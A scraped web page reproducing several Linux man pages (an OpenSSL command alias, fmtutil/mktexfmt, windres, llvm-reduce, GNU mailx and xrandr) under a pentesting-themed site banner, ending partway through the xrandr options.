             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1584 - Linux cli command rsassl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rsassl and provides detailed information about the command rsassl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rsassl.

NAME 🖥️ rsassl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1585 - Linux cli command mktexfmt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mktexfmt and provides detailed information about the command mktexfmt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mktexfmt.

NAME 🖥️ mktexfmt 🖥️

manage TeX formats and Metafont bases, per-user
fmtutil-sys - manage TeX formats and Metafont bases, system-wide
mktexfmt - create a TeX format or Metafont base

SYNOPSIS

fmtutil [-user|-sys] [OPTION] … [COMMAND]
fmtutil-sys [OPTION] … [COMMAND]
fmtutil-user [OPTION] … [COMMAND]
mktexfmt FORMAT.fmt|BASE.base|FMTNAME

DESCRIPTION

fmtutil version r68962 (2023-11-25 00:01:43 +0100)

Rebuild and manage TeX fmts and Metafont bases, collectively called “formats” here. (MetaPost no longer uses the past-equivalent “mems”.)

If not operating in mktexfmt mode, exactly one command must be given, filename suffixes should generally not be specified, no non-option arguments are allowed, and multiple formats can be generated.

If the command name ends in mktexfmt, only one format can be created. The only options supported are –help and –version, and the command line must be either a format name, with extension, or a plain name that is passed as the argument to –byfmt (see below). The full name of the generated file (if any) is written to stdout, and nothing else. The system directories are used if they are writable, else the user directories.

By default, the return status is zero if all formats requested are successfully built, else nonzero.

OPTIONS

–sys
use TEXMFSYS{VAR,CONFIG}

–user
use TEXMF{VAR,CONFIG}

–cnffile FILE
read FILE instead of fmtutil.cnf (can be given multiple times, in which case all the files are used)

–dry-run, -n
don’t actually build formts

–fmtdir DIR
write formats under DIR instead of TEXMF[SYS]VAR

–no-engine-subdir
don’t use engine-specific subdir of the fmtdir

–no-error-if-no-format
exit successfully if no format is selected

–no-error-if-no-engine=ENGINE1,ENGINE2,…
exit successfully even if a required ENGINE

is missing, if it is included in the list.

–no-strict
exit successfully even if a format fails to build

–nohash
don’t update ls-R files

–recorder
pass the -recorder option and save .fls files

–refresh
recreate only existing format files

–status-file FILE
append status information about built formats to FILE

–quiet
be silent

–catcfg
(does nothing, exists for compatibility)

–dolinks
(does nothing, exists for compatibility)

–force
(does nothing, exists for compatibility)

–test
(does nothing, exists for compatibility)

Commands (exactly one must be specified):

–all
recreate all format files

–missing
create all missing format files

–byengine ENGINE
(re)create formats built with ENGINE

–byfmt FORMAT
(re)create format FORMAT

–byhyphen HYPHENFILE
(re)create formats that depend on HYPHENFILE

–enablefmt
FORMAT[/ENGINE] enable FORMAT, as built with ENGINE

–disablefmt FORMAT[/ENGINE]
disable FORMAT, as built with ENGINE If multiple formats have the same name and

different engines, /ENGINE specifier is required.

–listcfg
list (enabled and disabled) configurations, filtered to available formats

–showhyphen FORMAT
print name of hyphen file for FORMAT

–version
show version information and exit

–help
show this message and exit

ENVIRONMENT

Explanation of trees and files normally used:

If –cnffile is specified on the command line (possibly multiple times), its value(s) are used. Otherwise, fmtutil reads all the fmtutil.cnf files found by running “kpsewhich -all fmtutil.cnf”, in the order returned by kpsewhich. Files specified via –cnffile are first tried to be loaded directly, and if not found and the file names don’t contain directory parts, are searched via kpsewhich.

In any case, if multiple fmtutil.cnf files are found, all the format definitions found in all the fmtutil.cnf files are merged.

Thus, if fmtutil.cnf files are present in all trees, and the default layout is used as shipped with TeX Live, the following files are read, in the given order.

For fmtutil-sys:
TEXMFSYSCONFIG $TEXLIVE/YYYY/texmf-config/web2c/fmtutil.cnf
TEXMFSYSVAR    $TEXLIVE/YYYY/texmf-var/web2c/fmtutil.cnf
TEXMFLOCAL     $TEXLIVE/texmf-local/web2c/fmtutil.cnf
TEXMFDIST      $TEXLIVE/YYYY/texmf-dist/web2c/fmtutil.cnf
For fmtutil-user:
TEXMFCONFIG    $HOME/.texliveYYYY/texmf-config/web2c/fmtutil.cnf
TEXMFVAR       $HOME/.texliveYYYY/texmf-var/web2c/fmtutil.cnf
TEXMFHOME      $HOME/texmf/web2c/fmtutil.cnf
TEXMFSYSCONFIG $TEXLIVE/YYYY/texmf-config/web2c/fmtutil.cnf
TEXMFSYSVAR    $TEXLIVE/YYYY/texmf-var/web2c/fmtutil.cnf
TEXMFLOCAL     $TEXLIVE/texmf-local/web2c/fmtutil.cnf
TEXMFDIST      $TEXLIVE/YYYY/texmf-dist/web2c/fmtutil.cnf
(where YYYY is the TeX Live release version).

According to the actions, fmtutil might update one of the existing cnf files or create a new fmtutil.cnf, as described below.

Where format files are written:

By default, format files are (re)written in $TEXMFSYSVAR/ENGINE by fmtutil-sys, and $TEXMFVAR/ENGINE by fmtutil-user, where /ENGINE is a subdirectory named for the engine used, such as “pdftex”.

For mktexfmt, TEXMFSYSVAR is used if it is writable, else TEXMFVAR.

If the –fmtdir=DIR option is specified, DIR is used instead of TEXMF[SYS]VAR, but the /ENGINE subdir is still used by default.

In all cases, if the –no-engine-subdir option is specified, the /ENGINE subdir is omitted.

Where configuration changes are saved:

If config files are given on the command line, then the first one given will be used to save any changes from –enable or –disable.

If the config files are taken from kpsewhich output, then the algorithm is more complicated:

1) If $TEXMFCONFIG/web2c/fmtutil.cnf or $TEXMFHOME/web2c/fmtutil.cnf appears in the list of used files, then the one listed first by kpsewhich –all (equivalently, the one returned by “kpsewhich fmtutil.cnf”), is used.

2) If neither of the above two are present and changes are made, a new config file is created in $TEXMFCONFIG/web2c/fmtutil.cnf.

In general, the idea is that if a given config file is not writable, a higher-level one can be used. That way, the distribution’s settings can be overridden system-wide using TEXMFLOCAL, and system settings can be overridden again in a particular user’s TEXMFHOME or TEXMFCONF.

Resolving multiple definitions of a format:

If a format is defined in more than one config file, then the definition coming from the first-listed fmtutil.cnf is used.

Disabling formats:

fmtutil.cnf files with higher priority (listed earlier) can disable formats in lower priority (listed later) fmtutil.cnf files by writing a line like this in the higher-priority fmtutil.cnf file:

#! <fmtname> <enginename> <hyphen> <args>

The #! must be at the beginning of the line, with at least one space or tab afterward, and there must be whitespace between each word on the list.

For example, you can disable the luajitlatex format by creating the file $TEXMFCONFIG/web2c/fmtutil.cnf with the line

#! luajitlatex luajittex language.dat,language.dat.lua lualatex.ini

(As it happens, the luajittex-related formats are precisely why the –no-error-if-no-engine option exists, since luajittex cannot be compiled on all platforms. So this is not needed.)

fmtutil-user (fmtutil -user) vs. fmtutil-sys (fmtutil -sys):

When fmtutil-sys is run or the command line option -sys is used, TEXMFSYSCONFIG and TEXMFSYSVAR are used instead of TEXMFCONFIG and TEXMFVAR, respectively. This is the primary difference between fmtutil-sys and fmtutil-user.

See https://tug.org/texlive/scripts-sys-user.html for details.

Other locations may be used if you give them on the command line, or these trees don’t exist, or you are not using the original TeX Live.

Supporting development binaries:

If an engine name ends with “-dev”, formats are created in the respective directory with the -dev stripped. This allows for easily running development binaries in parallel with the released binaries.

ENVIRONMENT

This script runs TeX and Metafont to generate the fmt/base file, and thus all normal environment variables and search path rules for TeX/MF apply.

REPORTING BUGS

Report bugs to: [email protected]
TeX Live home page: <https://tug.org/texlive/>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1586 - Linux cli command x86_64-w64-mingw32ucrt-windres

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-windres and provides detailed information about the command x86_64-w64-mingw32ucrt-windres, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-windres.

NAME 🖥️ x86_64-w64-mingw32ucrt-windres 🖥️

manipulate Windows resources

SYNOPSIS

windres [options] [input-file] [output-file]

DESCRIPTION

windres reads resources from an input file and copies them into an output file. Either file may be in one of three formats:

“rc”
A text format read by the Resource Compiler.

“res”
A binary format generated by the Resource Compiler.

“coff”
A COFF object or executable.

The exact description of these different formats is available in documentation from Microsoft.

When windres converts from the rc format to the res format, it is acting like the Windows Resource Compiler. When windres converts from the res format to the coff format, it is acting like the Windows CVTRES program.

When windres generates an rc file, the output is similar but not identical to the format expected for the input. When an input rc file refers to an external filename, an output rc file will instead include the file contents.

If the input or output format is not specified, windres will guess based on the file name, or, for the input file, the file contents. A file with an extension of .rc will be treated as an rc file, a file with an extension of .res will be treated as a res file, and a file with an extension of .o or .exe will be treated as a coff file.

If no output file is specified, windres will print the resources in rc format to standard output.

The normal use is for you to write an rc file, use windres to convert it to a COFF object file, and then link the COFF file into your application. This will make the resources described in the rc file available to Windows.

OPTIONS

-i filename

–input filename

The name of the input file. If this option is not used, then windres will use the first non-option argument as the input file name. If there are no non-option arguments, then windres will read from standard input. windres can not read a COFF file from standard input.

-o filename

–output filename

The name of the output file. If this option is not used, then windres will use the first non-option argument, after any used for the input file name, as the output file name. If there is no non-option argument, then windres will write to standard output. windres can not write a COFF file to standard output. Note, for compatibility with rc the option -fo is also accepted, but its use is not recommended.

-J format

–input-format format

The input format to read. format may be res, rc, or coff. If no input format is specified, windres will guess, as described above.

-O format

–output-format format

The output format to generate. format may be res, rc, or coff. If no output format is specified, windres will guess, as described above.

-F target

–target target

Specify the BFD format to use for a COFF file as input or output. This is a BFD target name; you can use the –help option to see a list of supported targets. Normally windres will use the default format, which is the first one listed by the –help option.

–preprocessor program
When windres reads an rc file, it runs it through the C preprocessor first. This option may be used to specify the preprocessor to use. The default preprocessor is gcc.

–preprocessor-arg option
When windres reads an rc file, it runs it through the C preprocessor first. This option may be used to specify additional text to be passed to preprocessor on its command line. This option can be used multiple times to add multiple options to the preprocessor command line. If the –preprocessor option has not been specified then a default set of preprocessor arguments will be used, with any –preprocessor-arg options being placed after them on the command line. These default arguments are -E, -xc-header and -DRC_INVOKED.

-I directory

–include-dir directory

Specify an include directory to use when reading an rc file. windres will pass this to the preprocessor as an -I option. windres will also search this directory when looking for files named in the rc file. If the argument passed to this command matches any of the supported formats (as described in the -J option), it will issue a deprecation warning, and behave just like the -J option. New programs should not use this behaviour. If a directory happens to match a format, simple prefix it with ./ to disable the backward compatibility.

-D target

–define sym[=val]

Specify a -D option to pass to the preprocessor when reading an rc file.

-U target

–undefine sym

Specify a -U option to pass to the preprocessor when reading an rc file.

-r
Ignored for compatibility with rc.

-v
Enable verbose mode. This tells you what the preprocessor is if you didn’t specify one.

-c val

–codepage val

Specify the default codepage to use when reading an rc file. val should be a hexadecimal prefixed by 0x or decimal codepage code. The valid range is from zero up to 0xffff, but the validity of the codepage is host and configuration dependent.

-l val

–language val

Specify the default language to use when reading an rc file. val should be a hexadecimal language code. The low eight bits are the language, and the high eight bits are the sublanguage.

–use-temp-file
Use a temporary file to instead of using popen to read the output of the preprocessor. Use this option if the popen implementation is buggy on the host (eg., certain non-English language versions of Windows 95 and Windows 98 are known to have buggy popen where the output will instead go the console).

–no-use-temp-file
Use popen, not a temporary file, to read the output of the preprocessor. This is the default behaviour.

-h

–help

Prints a usage summary.

-V

–version

Prints the version number for windres.

–yydebug
If windres is compiled with YYDEBUG defined as 1, this will turn on parser debugging.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1587 - Linux cli command llvm-reduce-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-reduce-17 and provides detailed information about the command llvm-reduce-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-reduce-17.

NAME 🖥️ llvm-reduce-17 🖥️

reduce - LLVM automatic testcase reducer.

SYNOPSIS

llvm-reduce [options] [input…]

DESCRIPTION

The llvm-reduce tool project that can be used for reducing the size of LLVM test cases. It works by removing redundant or unnecessary code from LLVM test cases while still preserving their ability to detect bugs.

If input is “-”, llvm-reduce reads from standard input. Otherwise, it will read from the specified filenames.

LLVM-Reduce is a useful tool for reducing the size and complexity of LLVM test cases, making it easier to identify and debug issues in the LLVM compiler infrastructure.

GENERIC OPTIONS

–help
Display available options (–help-hidden for more).

–abort-on-invalid-reduction
Abort if any reduction results in invalid IR

–in-place
WARNING: This option will replace your input file with the reduced version!

–ir-passes=<string>
A textual description of the pass pipeline, same as what’s passed to opt -passes.

-j <uint>
Maximum number of threads to use to process chunks. Set to 1 to disable parallelism.

–max-pass-iterations=<int>
Maximum number of times to run the full set of delta passes (default=5).

–mtriple=<string>
Set the target triple.

–preserve-debug-environment
Don’t disable features used for crash debugging (crash reports, llvm-symbolizer and core dumps)

–print-delta-passes
Print list of delta passes, passable to –delta-passes as a comma separated liste.

–skip-delta-passes=<string>
Delta passes to not run, separated by commas. By default, run all delta passes.

–starting-granularity-level=<uint>
Number of times to divide chunks prior to first test.

Note : Granularity refers to the level of detail at which the reduction process operates. A lower granularity means that the reduction process operates at a more coarse-grained level, while a higher granularity means that it operates at a more fine-grained level.

–test=<string>
Name of the interesting-ness test to be run.

–test-arg=<string>
Arguments passed onto the interesting-ness test.

–verbose
Print extra debugging information.

–write-tmp-files-as-bitcode
Always write temporary files as bitcode instead of textual IR.

-x={ir|mir}
Input language as ir or mir.

EXIT STATUS

llvm-reduce returns 0 under normal operation. It returns a non-zero exit code if there were any errors.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1588 - Linux cli command mailx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mailx and provides detailed information about the command mailx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mailx.

NAME 🖥️ mailx 🖥️

process mail messages

SYNOPSIS

mail.mailutils [OPTION…] [address…]
mail.mailutils [OPTION…] [OPTION…] [file]
mail.mailutils [OPTION…] –file [OPTION…] [file]
mail.mailutils [OPTION…] –file=file [OPTION…]

DESCRIPTION

GNU mail process mail messages. If -f or –file is given, mail operates on the mailbox named by the first argument, or the user’s mbox, if no argument given.

-A, –attach=FILE
attach FILE

-a, –append=HEADER: VALUE append given header to the message being sent

–[no-]alternative
force multipart/alternative content type

–attach-fd=FD
attach from file descriptor FD

–content-filename=NAME
set the Content-Disposition filename parameter for the next –attach option

–content-name=NAME
set the Content-Type name parameter for the next –attach option

–content-type=TYPE
set content type for subsequent –attach options

-E, –exec=COMMAND
execute COMMAND

-e, –exist
return true if mail exists

–encoding=NAME
set encoding for subsequent –attach options

-F, –byname
save messages according to sender

-H, –headers
write a header summary and exit

-i, –ignore
ignore interrupts

-M, –[no-]mime
compose MIME messages

-N, –nosum
do not display initial header summary

-n, –norc
do not read the system mailrc file

-p, –print, –read
print all mail to standard output

-q, –quit
cause interrupts to terminate program

-r, –return-address=ADDRESS
use address as the return address when sending mail

-s, –subject=SUBJ
send a message with the given SUBJECT

–[no-]skip-empty-attachments
skip attachments with empty body

-t, –to
read recipients from the message header

-u, –user=USER
operate on USER’s mailbox

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1589 - Linux cli command xrandr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xrandr and provides detailed information about the command xrandr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xrandr.

NAME 🖥️ xrandr 🖥️

primitive command line interface to RandR extension

SYNOPSIS

xrandr [–help] [–display display] [-q] [-v] [–verbose] [–dryrun] [–screen snum] [–q1] [–q12] [–current] [–noprimary] [–panning widthxheight[+x+y[/track_widthxtrack_height+track_x+track_y[/border_left/border_top/border_right/border_bottom]]]] [–scale x[xy]] [–scale-from wxh] [–transform a,b,c,d,e,f,g,h,i] [–primary] [–prop] [–fb widthxheight] [–fbmm widthxheight] [–dpi dpi] [–dpi from-output] [–newmode name mode] [–rmmode name] [–addmode output name] [–delmode output name] [–output output] [–auto] [–mode mode] [–preferred] [–pos xxy] [–rate rate] [–reflect reflection] [–rotate orientation] [–left-of output] [–right-of output] [–above output] [–below output] [–same-as output] [–set property value] [–off] [–crtc crtc] [–gamma red[:green:blue]] [–brightness brightness] [-o orientation] [-s size] [-r rate] [-x] [-y] [–listproviders] [–setprovideroutputsource provider source] [–setprovideroffloadsink provider sink] [–listmonitors] [–listactivemonitors] [–setmonitor name geometry outputs] [–delmonitor name]

DESCRIPTION

Xrandr is used to set the size, orientation and/or reflection of the outputs for a screen. It can also set the screen size.

If invoked without any option, it will dump the state of the outputs, showing the existing modes for each of them, with a ‘+’ after the preferred modes and a ‘*’ after the current mode.

There are a few global options. Other options modify the last output that is specified in earlier parameters in the command line. Multiple outputs may be modified at the same time by passing multiple –output options followed immediately by their corresponding modifying options.

–help
Print out a summary of the usage and exit.

-v, –version
Print out the RandR version reported by the X server and exit.

–verbose
Causes xrandr to be more verbose. When used with -q (or without other options), xrandr will display more information about the server state. Please note that the gamma and brightness information are only approximations of the complete color profile stored in the server. When used along with options that reconfigure the system, progress will be reported while executing the configuration changes.

-q, –query
When this option is present, or when no configuration changes are requested, xrandr will display the current state of the system.

–dryrun
Performs all the actions specified except that no changes are made.

–nograb
Apply the modifications without grabbing the screen. It avoids to block other applications during the update but it might also cause some applications that detect screen resize to receive old values.

-d, –display name
This option selects the X display to use. Note this refers to the X screen abstraction, not the monitor (or output).

–screen snum
This option selects which screen to manipulate. Note this refers to the X screen abstraction, not the monitor (or output).

–q1
Forces the usage of the RandR version 1.1 protocol, even if a higher version is available.

–q12
Forces the usage of the RandR version 1.2 protocol, even if the display does not report it as supported or a higher version is available.

RandR version 1.5 options

Options for RandR 1.5 are used as a superset of the options for RandR 1.4.

–listmonitors
Report information about all defined monitors.

–listactivemonitors
Report information about currently active monitors.

–setmonitor name geometry outputs
Define a new monitor with the given geometry and associated to the given outputs. The output list is either the keyword none or a comma-separated list of outputs. The geometry is either the keyword auto, in which case the monitor will automatically track the geometry of the associated outputs, or a manual specification in the form w/mmwxh/mmh+x+y where w, h, x, y are in pixels and mmw, mmh are the physical dimensions of the monitor.

–delmonitor name
Delete the given user-defined monitor.

RandR version 1.4 options

Options for RandR 1.4 are used as a superset of the options for RandR 1.3.

–listproviders
Report information about the providers available.

–setprovideroutputsource provider source
Set source as the source of display output images for provider. This is only possible if source and provider have the Source Output and Sink Output capabilities, respectively. If source is 0x0, then provider is disconnected from its current output source.

–setprovideroffloadsink provider sink
Set provider as a render offload device for sink. This is only possible if provider and sink have the Source Offload and Sink Offload capabilities, respectively. If sink is 0x0, then provider is disconnected from its current render offload sink.

RandR version 1.3 options

Options for RandR 1.3 are used as a superset of the options for RandR 1.2.

–current
Return the current screen configuration, without polling for hardware changes.

–noprimary
Don’t define a primary output.

Per-output options

–panning widthxheight[+x+y[/track_widthxtrack_height+track_x+track_y[/border_left/border_top/border_right/border_bottom]]]
This option sets the panning parameters. As soon as panning is enabled, the CRTC position can change with every pointer move. The first four parameters specify the total panning area, the next four the pointer tracking area (which defaults to the same area). The last four parameters specify the border and default to 0. A width or height set to zero disables panning on the according axis. You typically have to set the screen size with –fb simultaneously.

–transform a,b,c,d,e,f,g,h,i
Specifies a transformation matrix to apply on the output. A bilinear filter is selected automatically unless the –filter parameter is also specified. The mathematical form corresponds to:

a b c
d e f
g h i

The transformation is based on homogeneous coordinates. The matrix multiplied by the coordinate vector of a pixel of the output gives the transformed coordinate vector of a pixel in the graphic buffer. More precisely, the vector (x y) of the output pixel is extended to 3 values (x y w), with 1 as the w coordinate and multiplied against the matrix. The final device coordinates of the pixel are then calculated with the so-called homogenic division by the transformed w coordinate. In other words, the device coordinates (x’ y’) of the transformed pixel are:

x’ = (ax + by + c) / w’ and
y’ = (dx + ey + f) / w’ ,
with w’ = (gx + hy + i) .

Typically, a and e corresponds to the scaling on the X and Y axes, c and f corresponds to the translation on those axes, and g, h, and i are respectively 0, 0 and 1. The matrix can also be used to express more complex transformations such as keystone correction, or rotation. For a rotation of an angle T, this formula can be used:

cos T -sin T 0
sin T cos T 0
0 0 1

As a special argument, instead of passing a matrix, one can pass the string none, in which case the default values are used (a unit matrix without filter).

–filter filtermode
